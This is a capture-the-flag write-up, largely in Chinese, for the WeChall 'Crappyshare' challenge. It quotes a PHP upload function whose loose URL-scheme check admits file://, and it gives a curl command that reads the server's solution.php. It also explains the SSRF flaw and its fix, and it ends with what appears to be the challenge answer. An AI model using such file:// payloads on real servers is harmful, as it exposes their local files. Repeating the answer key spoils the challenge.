WeChall - Crappyshare

Challenge

Z and Gizmore were thinking of a file-sharing company, Crappyshare, to collect the latest warez and earn money in one go. While gizmore was working with the designer on the xhtml/css stuff, Z implemented the upload script, and we got first results...but it seems to contain a vulnerability somewhere. Some crackers already managed to gather sensitive local files (solution.php) and broke into the server.

Crappyshare 是一个文件共享站,支持两种上传方式:直接上传文件,或通过 URL 远程拉取文件。目标是通过漏洞读取服务器本地的 solution.php

Solution

查看源码(index.php?show=code)发现 upload_please_by_url() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function upload_please_by_url($url)
{
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) // 验证有 URL scheme
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.');
}
else
{
upload_please_thx($file_data); // 显示文件内容
}
}
}

关键漏洞:URL scheme 检查为 [a-z]{3,5}://,这意味着 file:// 协议没有被阻止。cURL 的 file:// 协议可以读取本地文件系统。直接用 file://solution.php 作为 URL 上传源:

1
2
$ curl -s -b 'WC=...' --data-urlencode 'url=file://solution.php' \
'https://www.wechall.net/challenge/crappyshare/crappyshare.php'

响应中包含 solution.php 的内容:

1
2
3
#########################
### ***************** ###
#########################

Summary

这个漏洞是典型的 SSRF(Server-Side Request Forgery)—— 服务端本应只允许 HTTP/HTTPS URL,但 Scheme 验证太宽松,允许了 file:// 协议。cURL 的 file:// 直接读取本地文件,绕过了所有访问控制。修复方案是只允许 https?:// 的 URL,并过滤掉 file://ftp:// 等内部协议。

ICaNSeEcLeArLyNoW